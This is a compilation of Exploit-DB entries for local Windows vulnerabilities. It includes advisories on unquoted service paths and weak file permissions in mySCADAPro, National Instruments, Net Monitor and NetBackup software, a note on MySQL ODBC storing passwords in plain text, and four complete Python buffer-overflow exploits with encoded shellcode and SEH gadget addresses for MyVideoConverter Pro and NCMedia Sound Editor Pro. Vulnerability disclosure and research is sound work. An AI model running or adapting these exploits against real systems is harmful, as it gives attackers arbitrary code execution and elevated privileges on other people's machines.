deardaniel/secdata-raw huggingface dataset:
Exploit-DB #40173
Description: mySCADAPro 7 - Local Privilege Escalation
Type: local
Platform: windows
Date: 2016-07-29
Author: Karn Ganeshen

Exploit:
mySCADAProv7 Local Privilege Escalation

Vendor: mySCADA Technologies s.r.o.
Product web page: https://www.myscada.org/
Affected application: myscadaPro
Affected version: v7 (Current version)

Vulnerability discovered by: Karn Ganeshen

Description: 

myscadaPro7 application installs seven (8) services. All these services run as LocalSystem by default, and suffer from an unquoted search path issue. This could potentially allow an authorized but non-privileged local user to execute arbitrary code with elevated privileges on the system. 

A successful attempt would require the local user to be able to insert their code in the system root path undetected by the OS or other security applications where it could potentially be executed during application startup or reboot. If successful, the local user’s code would execute with the elevated privileges of the application.


Tested on: 

Microsoft Windows Vista Ultimate SP2 (EN)


Details

The following services have insecurely quoted paths:

1.    Bonjour Service (Bonjour Service) runs as LocalSystem and has path: C:\Program Files\mySCADA\bin\mDNSResponder.exe:

2.    myalerting (myalerting) runs as LocalSystem and has path: C:\Program Files\mySCADA\bin\mySCADAservice.exe "\"C:\Program Files\mySCADA\bin\myalerting.exe\" -c \"C:\ProgramData\mySCADA\myscada.conf\" -m \"C:\ProgramData\mySCADA\msmtp.conf\" -s \"C:\ProgramData\mySCADA\sms.conf\" ":

3.    myscadacom (myscadacom) runs as LocalSystem and has path: C:\Program Files\mySCADA\bin\mySCADAservice.exe "\"C:\Program Files\mySCADA\bin\myscadacom.exe\" -c \"C:\ProgramData\mySCADA\myscada.conf\" ":

4.    myscadadb (myscadadb) runs as LocalSystem and has path: C:\Program Files\mySCADA\bin\mySCADAservice.exe "\"C:\Program Files\mySCADA\bin\myscadadb.exe\" -c \"C:\ProgramData\mySCADA\myscada.conf\" ":

5.  myscadagate (myscadagate) runs as LocalSystem and has path: C:\Program Files\mySCADA\bin\mySCADAservice.exe "\"C:\Program Files\mySCADA\bin\myscadagate.exe\" -f \"C:\ProgramData\mySCADA\myscada.conf\" ":

6.    myscadahmi (myscadahmi) runs as LocalSystem and has path: C:\Program Files\mySCADA\bin\mySCADAservice.exe "\"C:\Program Files\mySCADA\bin\myscadahmi.exe\" -p \"C:\Program Files\mySCADA\" -c \"conf\hmi.conf\" ":

7.    myscadalog (myscadalog) runs as LocalSystem and has path: C:\Program Files\mySCADA\bin\mySCADAservice.exe "\"C:\Program Files\mySCADA\bin\myscadalog.exe\" -c \"C:\ProgramData\mySCADA\myscada.conf\" ":

8.    myscadascr (myscadascr) runs as LocalSystem and has path: C:\Program Files\mySCADA\bin\mySCADAservice.exe "\"C:\Program Files\mySCADA\bin\node.exe\" \"C:\Program Files\mySCADA\bin\scripts\scripts.js\" -c \"C:\ProgramData\mySCADA\myscada.conf\" -a 1 ":
Exploit-DB #22946
Description: MySQL AB ODBC Driver 3.51 - Plain Text Password
Type: local
Platform: windows
Date: 2003-07-22
Author: hanez

Exploit:
source: https://www.securityfocus.com/bid/8245/info

A vulnerability has been reported in the MySQL AB ODBC (Open Data Base Connectivity) driver implementation. The MySQL ODBC driver reportedly stores plain text credentials used to connect to the specified database in the system registry.

These credentials may be disclosed and used to connect to the target database.

Other ODBC drivers may also be prone to the same issue, though this is not confirmed.

[HKEY_LOCAL_MACHINE\SOFTWARE\ODBC\ODBC.INI\TESTDSN]
"Driver"="C:\\WINDOWS\\System32\\myodbc3.dll"
"Description"="MySQL ODBC 3.51 Driver DSN"
"Database"="test"
"Server"="192.168.0.1"
"User"="user_name"
"Password"="plain_password"
"Port"="3306"
"Option"="3"
"Stmt"=""
Exploit-DB #48054
Description: MyVideoConverter Pro 3.14 - 'Movie' Buffer Overflow
Type: local
Platform: windows
Date: 2020-02-12
Author: ZwX

Exploit:
#Exploit Title: MyVideoConverter Pro 3.14 - 'Movie' Buffer Overflow
#Exploit Author : ZwX
#Exploit Date: 2020-02-11
#Vendor Homepage : http://www.ivideogo.com/
#Tested on OS: Windows 10 v1803
#Social: twitter.com/ZwX2a


## Steps to Reproduce: ##
#1. Run the python exploit script, it will create a new file with the name "Shell.txt".
#2. Just copy the text inside "Shell.txt".
#3. Start the program. In the new window click "Add" > "Convert DVD" > "Movie" .
#4. Now paste the content of "Shell.txt" into the field: "Video Folder" > Click "..."
#5. The calculator runs successfully


#!/usr/bin/python 

from struct import pack

buffer = "\x41" * 268
nseh = "\xeb\x06\xff\xff"
seh = pack("<I",0x1004f3e3)
#0x1004f3e3 : pop ebx # pop esi # ret  |  {PAGE_EXECUTE_READ} [mysubtitle.dll]
#ASLR: False, Rebase: False, SafeSEH: False, OS: False, v1.0.0.1 (C:\Program Files\MyVideoConverter Pro\mysubtitle.dll)
shellcode =  ""
shellcode += "\xdb\xce\xbf\x90\x28\x2f\x09\xd9\x74\x24\xf4\x5d\x29"
shellcode += "\xc9\xb1\x31\x31\x7d\x18\x83\xc5\x04\x03\x7d\x84\xca"
shellcode += "\xda\xf5\x4c\x88\x25\x06\x8c\xed\xac\xe3\xbd\x2d\xca"
shellcode += "\x60\xed\x9d\x98\x25\x01\x55\xcc\xdd\x92\x1b\xd9\xd2"
shellcode += "\x13\x91\x3f\xdc\xa4\x8a\x7c\x7f\x26\xd1\x50\x5f\x17"
shellcode += "\x1a\xa5\x9e\x50\x47\x44\xf2\x09\x03\xfb\xe3\x3e\x59"
shellcode += "\xc0\x88\x0c\x4f\x40\x6c\xc4\x6e\x61\x23\x5f\x29\xa1"
shellcode += "\xc5\x8c\x41\xe8\xdd\xd1\x6c\xa2\x56\x21\x1a\x35\xbf"
shellcode += "\x78\xe3\x9a\xfe\xb5\x16\xe2\xc7\x71\xc9\x91\x31\x82"
shellcode += "\x74\xa2\x85\xf9\xa2\x27\x1e\x59\x20\x9f\xfa\x58\xe5"
shellcode += "\x46\x88\x56\x42\x0c\xd6\x7a\x55\xc1\x6c\x86\xde\xe4"
shellcode += "\xa2\x0f\xa4\xc2\x66\x54\x7e\x6a\x3e\x30\xd1\x93\x20"
shellcode += "\x9b\x8e\x31\x2a\x31\xda\x4b\x71\x5f\x1d\xd9\x0f\x2d"
shellcode += "\x1d\xe1\x0f\x01\x76\xd0\x84\xce\x01\xed\x4e\xab\xee"
shellcode += "\x0f\x5b\xc1\x86\x89\x0e\x68\xcb\x29\xe5\xae\xf2\xa9"
shellcode += "\x0c\x4e\x01\xb1\x64\x4b\x4d\x75\x94\x21\xde\x10\x9a"
shellcode += "\x96\xdf\x30\xf9\x79\x4c\xd8\xd0\x1c\xf4\x7b\x2d"

payload = buffer + nseh + seh + shellcode
try:
    f=open("Shell.txt","w")
    print "[+] Creating %s bytes evil payload.." %len(payload)
    f.write(payload)
    f.close()
    print "[+] File created!"
except:
    print "File cannot be created"
Exploit-DB #48055
Description: MyVideoConverter Pro 3.14 - 'Output Folder' Buffer Overflow
Type: local
Platform: windows
Date: 2020-02-12
Author: ZwX

Exploit:
#Exploit Title: MyVideoConverter Pro 3.14 - 'Output Folder' Buffer Overflow
#Exploit Author : ZwX
#Exploit Date: 2020-02-11
#Vendor Homepage : http://www.ivideogo.com/
#Tested on OS: Windows 10 v1803
#Social: twitter.com/ZwX2a


## Steps to Reproduce: ##
#1. Run the python exploit script, it will create a new file with the name "exploit.txt".
#2. Just copy the text inside "exploit.txt".
#3. Start the program. In the new window click "Options" > "Settins" .
#4. Now paste the content of "exploit.txt" into the field: "Output Folder" > Click "..."
#5. The calculator runs successfully


#!/usr/bin/python 

from struct import pack

buffer = "\x41" * 268
nseh = "\xeb\x06\xff\xff"
seh = pack("<I",0x10045ebb)
#0x10045ebb : pop edi # pop ebx # ret | {PAGE_EXECUTE_READ} [mysubtitle.dll]
#ASLR: False, Rebase: False, SafeSEH: False, OS: False, v1.0.0.1 (C:\Program Files\MyVideoConverter Pro\mysubtitle.dll)
shellcode =  ""
shellcode += "\xdb\xce\xbf\x90\x28\x2f\x09\xd9\x74\x24\xf4\x5d\x29"
shellcode += "\xc9\xb1\x31\x31\x7d\x18\x83\xc5\x04\x03\x7d\x84\xca"
shellcode += "\xda\xf5\x4c\x88\x25\x06\x8c\xed\xac\xe3\xbd\x2d\xca"
shellcode += "\x60\xed\x9d\x98\x25\x01\x55\xcc\xdd\x92\x1b\xd9\xd2"
shellcode += "\x13\x91\x3f\xdc\xa4\x8a\x7c\x7f\x26\xd1\x50\x5f\x17"
shellcode += "\x1a\xa5\x9e\x50\x47\x44\xf2\x09\x03\xfb\xe3\x3e\x59"
shellcode += "\xc0\x88\x0c\x4f\x40\x6c\xc4\x6e\x61\x23\x5f\x29\xa1"
shellcode += "\xc5\x8c\x41\xe8\xdd\xd1\x6c\xa2\x56\x21\x1a\x35\xbf"
shellcode += "\x78\xe3\x9a\xfe\xb5\x16\xe2\xc7\x71\xc9\x91\x31\x82"
shellcode += "\x74\xa2\x85\xf9\xa2\x27\x1e\x59\x20\x9f\xfa\x58\xe5"
shellcode += "\x46\x88\x56\x42\x0c\xd6\x7a\x55\xc1\x6c\x86\xde\xe4"
shellcode += "\xa2\x0f\xa4\xc2\x66\x54\x7e\x6a\x3e\x30\xd1\x93\x20"
shellcode += "\x9b\x8e\x31\x2a\x31\xda\x4b\x71\x5f\x1d\xd9\x0f\x2d"
shellcode += "\x1d\xe1\x0f\x01\x76\xd0\x84\xce\x01\xed\x4e\xab\xee"
shellcode += "\x0f\x5b\xc1\x86\x89\x0e\x68\xcb\x29\xe5\xae\xf2\xa9"
shellcode += "\x0c\x4e\x01\xb1\x64\x4b\x4d\x75\x94\x21\xde\x10\x9a"
shellcode += "\x96\xdf\x30\xf9\x79\x4c\xd8\xd0\x1c\xf4\x7b\x2d"

payload = buffer + nseh + seh + shellcode
try:
    f=open("exploit.txt","w")
    print "[+] Creating %s bytes evil payload.." %len(payload)
    f.write(payload)
    f.close()
    print "[+] File created!"
except:
    print "File cannot be created"
Exploit-DB #48056
Description: MyVideoConverter Pro 3.14 - 'TVSeries' Buffer Overflow
Type: local
Platform: windows
Date: 2020-02-12
Author: ZwX

Exploit:
# Exploit Title: MyVideoConverter Pro 3.14 - 'TVSeries' Buffer Overflow
# Exploit Author : ZwX
# Exploit Date: 2020-02-11
# Vendor Homepage : http://www.ivideogo.com/
# Tested on OS: Windows 10 v1803
# Social: twitter.com/ZwX2a


## Steps to Reproduce: ##
#1. Run the python exploit script, it will create a new file with the name "Shell.txt".
#2. Just copy the text inside "Shell.txt".
#3. Start the program. In the new window click "Add" > "Convert DVD" > "TVSeries" .
#4. Now paste the content of "Shell.txt" into the field: "Video Folder" > Click "..."
#5. The calculator runs successfully


#!/usr/bin/python 

from struct import pack

buffer = "\x41" * 268
nseh = "\xeb\x06\xff\xff"
seh = pack("<I",0x10039291)
#0x10039291 : pop ecx # pop ebx # ret 0x04 |  {PAGE_EXECUTE_READ} [mysubtitle.dll]
#ASLR: False, Rebase: False, SafeSEH: False, OS: False, v1.0.0.1 (C:\Program Files\MyVideoConverter Pro\mysubtitle.dll)
shellcode =  ""
shellcode += "\xdb\xce\xbf\x90\x28\x2f\x09\xd9\x74\x24\xf4\x5d\x29"
shellcode += "\xc9\xb1\x31\x31\x7d\x18\x83\xc5\x04\x03\x7d\x84\xca"
shellcode += "\xda\xf5\x4c\x88\x25\x06\x8c\xed\xac\xe3\xbd\x2d\xca"
shellcode += "\x60\xed\x9d\x98\x25\x01\x55\xcc\xdd\x92\x1b\xd9\xd2"
shellcode += "\x13\x91\x3f\xdc\xa4\x8a\x7c\x7f\x26\xd1\x50\x5f\x17"
shellcode += "\x1a\xa5\x9e\x50\x47\x44\xf2\x09\x03\xfb\xe3\x3e\x59"
shellcode += "\xc0\x88\x0c\x4f\x40\x6c\xc4\x6e\x61\x23\x5f\x29\xa1"
shellcode += "\xc5\x8c\x41\xe8\xdd\xd1\x6c\xa2\x56\x21\x1a\x35\xbf"
shellcode += "\x78\xe3\x9a\xfe\xb5\x16\xe2\xc7\x71\xc9\x91\x31\x82"
shellcode += "\x74\xa2\x85\xf9\xa2\x27\x1e\x59\x20\x9f\xfa\x58\xe5"
shellcode += "\x46\x88\x56\x42\x0c\xd6\x7a\x55\xc1\x6c\x86\xde\xe4"
shellcode += "\xa2\x0f\xa4\xc2\x66\x54\x7e\x6a\x3e\x30\xd1\x93\x20"
shellcode += "\x9b\x8e\x31\x2a\x31\xda\x4b\x71\x5f\x1d\xd9\x0f\x2d"
shellcode += "\x1d\xe1\x0f\x01\x76\xd0\x84\xce\x01\xed\x4e\xab\xee"
shellcode += "\x0f\x5b\xc1\x86\x89\x0e\x68\xcb\x29\xe5\xae\xf2\xa9"
shellcode += "\x0c\x4e\x01\xb1\x64\x4b\x4d\x75\x94\x21\xde\x10\x9a"
shellcode += "\x96\xdf\x30\xf9\x79\x4c\xd8\xd0\x1c\xf4\x7b\x2d"

payload = buffer + nseh + seh + shellcode
try:
    f=open("Shell.txt","w")
    print "[+] Creating %s bytes evil payload.." %len(payload)
    f.write(payload)
    f.close()
    print "[+] File created!"
except:
    print "File cannot be created"
Exploit-DB #47490
Description: National Instruments Circuit Design Suite 14.0 - Local Privilege Escalation
Type: local
Platform: windows
Date: 2019-10-11
Author: Ivan Marmolejo

Exploit:
# Exploit Title: National Instruments Circuit Design Suite 14.0 - Local Privilege Escalation
# Discovery Date: 2019-10-10
# Exploit Author: Ivan Marmolejo
# Vendor Homepage: http://www.ni.com/en-us.html
# Software Link: https://www.ni.com/en-us/shop/select/circuit-design-suite
# Version: 14.0
# Vulnerability Type: Local
# Tested on: Windows 10 Pro x64 Esp
# Version: 10.0.18362

# Exploit.txt

##############################################################################################################################################

Summary:        Circuit Design Suite combines Multisim and Ultiboard software to offer a complete set of tools for circuit design,simulation, 
validation and design. Circuit Design Suite helps you design circuits with intuitive and cost-effective tools. You can perform an interactive 
SPICE simulation and make a perfect transition to PCB design and routing software. Built for education, research and design, the suite offers
advanced simulation capabilities to give you a clear view of how circuits perform in any situation.

Description:    The application suffers from an unquoted search path issue impacting the service 'NiSvcLoc'. This could potentially allow an 
authorized but non-privileged local user to execute arbitrary code with elevated privileges on the system. A successful attempt would require 
the local user to be able to insert their code in the system root path undetected by the OS or other security applications where it could 
potentially be executed during application startup or reboot. If successful, the local user’s code would execute with the elevated privileges
of the application.


##############################################################################################################################################

Step to discover the unquoted Service:

 
C:\Users\user>wmic service get name, displayname, pathname, startmode | findstr /i "auto" | findstr /i /v "C:\Windows\\" | findstr /i /v """


NI Service Locator           NiSvcLoc              C:\Program Files (x86)\National Instruments\Shared\niSvcLoc\nisvcloc.exe -s            Auto


##############################################################################################################################################

Service info:


C:\Users\user>sc qc NiSvcLoc

[SC] QueryServiceConfig CORRECTO

NOMBRE_SERVICIO: NiSvcLoc
        TIPO               : 10  WIN32_OWN_PROCESS
        TIPO_INICIO        : 2   AUTO_START
        CONTROL_ERROR      : 1   NORMAL
        NOMBRE_RUTA_BINARIO: C:\Program Files (x86)\National Instruments\Shared\niSvcLoc\nisvcloc.exe -s
        GRUPO_ORDEN_CARGA  :
        ETIQUETA           : 0
        NOMBRE_MOSTRAR     : NI Service Locator
        DEPENDENCIAS       :
        NOMBRE_INICIO_SERVICIO: LocalSystem

##############################################################################################################################################
Exploit-DB #15584
Description: Native Instruments Service Center 2.2.5 - Local Privilege Escalation
Type: local
Platform: windows
Date: 2010-11-20
Author: LiquidWorm

Exploit:
 Native Instruments Service Center 2.2.5 Local Privilege Escalation Vulnerability


 Vendor: Native Instruments GmbH
 Product web page: http://www.native-instruments.com
 Affected version: 2.2.5 (R596)

 Summary: The NI Service Center is a service used for Product Activation.

 Desc: The Native Instruments's Service Center suffers from an elevation of
 privileges vulnerability which can be used by a simple user that can change
 the executable file with a binary of choice. The vulnerability exist due to
 the improper permissions, with the "C" flag (Change(write)) for "Everyone",
 for the installed files ServiceCenter.exe and Reloader.exe.

 Tested on: Microsoft Windows XP Professional SP3 (English)


 Vulnerability discovered by: Gjoko 'LiquidWorm' Krstic
 liquidworm gmail com
 Zero Science Lab - http://www.zeroscience.mk


 Advisory ID: ZSL-2010-4981
 Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2010-4981.php

 06.11.2010


 PoC:

----------------------------------------------------------------------------

 C:\Program Files\Native Instruments\Service Center>dir
  Volume in drive C has no label.
  Volume Serial Number is 7C64-FE80

  Directory of C:\Program Files\Native Instruments\Service Center

 07.11.2010  19:52    <DIR>          .
 07.11.2010  19:52    <DIR>          ..
 05.11.2010  17:58    <DIR>          conf
 05.11.2010  17:58    <DIR>          Documentation
 05.11.2010  17:57           738.632 Reloader.exe
 05.11.2010  17:58        10.650.440 ServiceCenter.exe
                2 File(s)     11.389.072 bytes
                4 Dir(s)   9.880.768.512 bytes free

 C:\Program Files\Native Instruments\Service Center>cacls ServiceCenter.exe
 C:\Program Files\Native Instruments\Service Center\ServiceCenter.exe BUILTIN\Administrators:F
                                                                      Everyone:C
                                                                      NT AUTHORITY\SYSTEM:F


 C:\Program Files\Native Instruments\Service Center>cacls Reloader.exe
 C:\Program Files\Native Instruments\Service Center\Reloader.exe BUILTIN\Administrators:F
                                                                 Everyone:C
                                                                 NT AUTHORITY\SYSTEM:F


 C:\Program Files\Native Instruments\Service Center>

----------------------------------------------------------------------------
Exploit-DB #21331
Description: NCMedia Sound Editor Pro 7.5.1 - 'MRUList201202.dat' File Handling Buffer Overflow
Type: local
Platform: windows
Date: 2012-09-17
Author: Julien Ahrens

Exploit:
#!/usr/bin/python
 
# Exploit Title: NCMedia Sound Editor Pro v7.5.1 MRUList201202.dat File Handling Local Buffer Overflow
# Version:       7.5.1
# Date:          2012-08-07
# Author:        Julien Ahrens
# Website:       http://www.inshell.net
# Software Link: http://www.soundeditorpro.com/
# Tested on:     Windows XP SP3 Professional German
# Howto:         Copy MRUList201202.dat to %appdata%\Sound Editor Pro\ --> Launch app --> Click on "File" Menu

from struct import pack

file="MRUList201202.dat"

# windows/exec CMD=calc.exe 
# Encoder: x86/shikata_ga_nai
# powered by Metasploit 
# msfpayload windows/exec CMD=calc.exe R | msfencode -b '\x00\x0d\x0a'

shellcode = ("\xd9\xc7\xba\x2d\xdd\x15\x6d\xd9\x74\x24\xf4\x58\x29\xc9" +
"\xb1\x33\x31\x50\x17\x03\x50\x17\x83\xed\xd9\xf7\x98\x11" +
"\x09\x7e\x62\xe9\xca\xe1\xea\x0c\xfb\x33\x88\x45\xae\x83" +
"\xda\x0b\x43\x6f\x8e\xbf\xd0\x1d\x07\xb0\x51\xab\x71\xff" +
"\x62\x1d\xbe\x53\xa0\x3f\x42\xa9\xf5\x9f\x7b\x62\x08\xe1" +
"\xbc\x9e\xe3\xb3\x15\xd5\x56\x24\x11\xab\x6a\x45\xf5\xa0" +
"\xd3\x3d\x70\x76\xa7\xf7\x7b\xa6\x18\x83\x34\x5e\x12\xcb" +
"\xe4\x5f\xf7\x0f\xd8\x16\x7c\xfb\xaa\xa9\x54\x35\x52\x98" +
"\x98\x9a\x6d\x15\x15\xe2\xaa\x91\xc6\x91\xc0\xe2\x7b\xa2" +
"\x12\x99\xa7\x27\x87\x39\x23\x9f\x63\xb8\xe0\x46\xe7\xb6" +
"\x4d\x0c\xaf\xda\x50\xc1\xdb\xe6\xd9\xe4\x0b\x6f\x99\xc2" +
"\x8f\x34\x79\x6a\x89\x90\x2c\x93\xc9\x7c\x90\x31\x81\x6e" +
"\xc5\x40\xc8\xe4\x18\xc0\x76\x41\x1a\xda\x78\xe1\x73\xeb" +
"\xf3\x6e\x03\xf4\xd1\xcb\xfb\xbe\x78\x7d\x94\x66\xe9\x3c" +
"\xf9\x98\xc7\x02\x04\x1b\xe2\xfa\xf3\x03\x87\xff\xb8\x83" +
"\x7b\x8d\xd1\x61\x7c\x22\xd1\xa3\x1f\xa5\x41\x2f\xce\x40" +
"\xe2\xca\x0e")

junk1="\x41" * 12
nopsled="\x90" * 20
junk2="\x42" * (4108 - len(shellcode) - len(nopsled))
eip=pack('<L',0x004d893e) # ADD ESP,404 # POP EDI # POP ESI # RETN from SoundEditorPro.exe
esp=pack('<L',0x7e8236d9) # CALL ESP from shell32.dll

poc=junk1 + esp + nopsled + shellcode + junk2 + eip 

try:
    print "[*] Creating exploit file...\n"
    writeFile = open (file, "w")
    writeFile.write( poc )
    writeFile.close()
    print "[*] File successfully created!"
except:
    print "[!] Error while creating file!"
Exploit-DB #42141
Description: Net Monitor for Employees Pro < 5.3.4 - Unquoted Service Path Privilege Escalation
Type: local
Platform: windows
Date: 2017-06-08
Author: Saeid Atabaki

Exploit:
# Exploit Title: Unquoted Service Path Privilege Escalation - Net Monitor for Employees Pro <= 5.3.4 
# Date: 18/03/2017
# Exploit Author: Saeid Atabaki
# E-Mail: bytecod3r <at> gmail.com, saeid <at> Nsecurity.org
# Linkedin: https://www.linkedin.com/in/saeidatabaki
# Vendor Homepage: http://networklookout.com/
# Version: <= 5.3.4
# CVE: CVE-2017-7180
# Vendor Not Resoponding. contacted vendor 18/3/2017 

Net Monitor for Employees is an application to monitor users machine and its agent based. Its agent install itself as a service ("Net Monitor for Employees Agent") with an unquoted service path running with SYSTEM privileges. This could potentially allow an authorized but non-privileged local user to execute arbitrary code with elevated privileges on the system.


C:\Users\Win7>sc qc  "Net Monitor for Employees Agent"
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: Net Monitor for Employees Agent
        TYPE               : 110  WIN32_OWN_PROCESS (interactive)
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : C:\Program Files\Net Monitor for Employees Pro\bin\nmep_ctrlagentsvc.exe
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : Net Monitor for Employees Agent
        DEPENDENCIES       :
        SERVICE_START_NAME : LocalSystem


A successful attempt would require the local attacker must insert an executable file in the path of the service. Upon service restart or system reboot, the malicious code will be run with elevated privileges.


The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and
that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit
is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility
for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information
or exploits by the author or elsewhere. All content (c) BYTECOD3R
Exploit-DB #48227
Description: NetBackup 7.0 - 'NetBackup INET Daemon' Unquoted Service Path
Type: local
Platform: windows
Date: 2020-03-18
Author: El Masas

Exploit:
# Exploit Title: NetBackup 7.0 - 'NetBackup INET Daemon' Unquoted Service Path
# Discovery by: Alan Mondragon "El Masas"
# Discovery Date: 2020-03-17
# Vendor Homepage: https://www.veritas.com/
# Software Link : https://www.veritas.com/
# Veritas
# Tested Version: 7.0
# Vulnerability Type: Unquoted t Service Path
# Tested on OS: Windows Server 2008 R2 en

# Step to discover Unquoted Service Path: 


C:\>wmic service get name, displayname, pathname, startmode | findstr /i "Auto" | findstr /i /v "C:\Windows\\" | findstr /i /v """                                                                                                                                                                                                   Auto
NetBackup Client Service NetBackup INET Daemon
                      C:\Program Files\Veritas\NetBackup\bin\bpinetd.exe
                                                    Auto
C:\>sc qc "NetBackup INET Daemon"
[SC] QueryServiceConfig SUCCESS
        SERVICE_NAME: NetBackup INET Daemon                                                                                                                                                                    
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : C:\Program Files\Veritas\NetBackup\bin\bpinetd.exe
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : NetBackup Client Service
        DEPENDENCIES       : 
        SERVICE_START_NAME : LocalSystem

#Exploit:
# A successful attempt would require the local user to be able to insert their code in the system root path 
# undetected by the OS or other security applications where it could potentially be executed during 
# application startup or reboot. If successful, the local user's code would execute with the elevated 
# privileges of the application.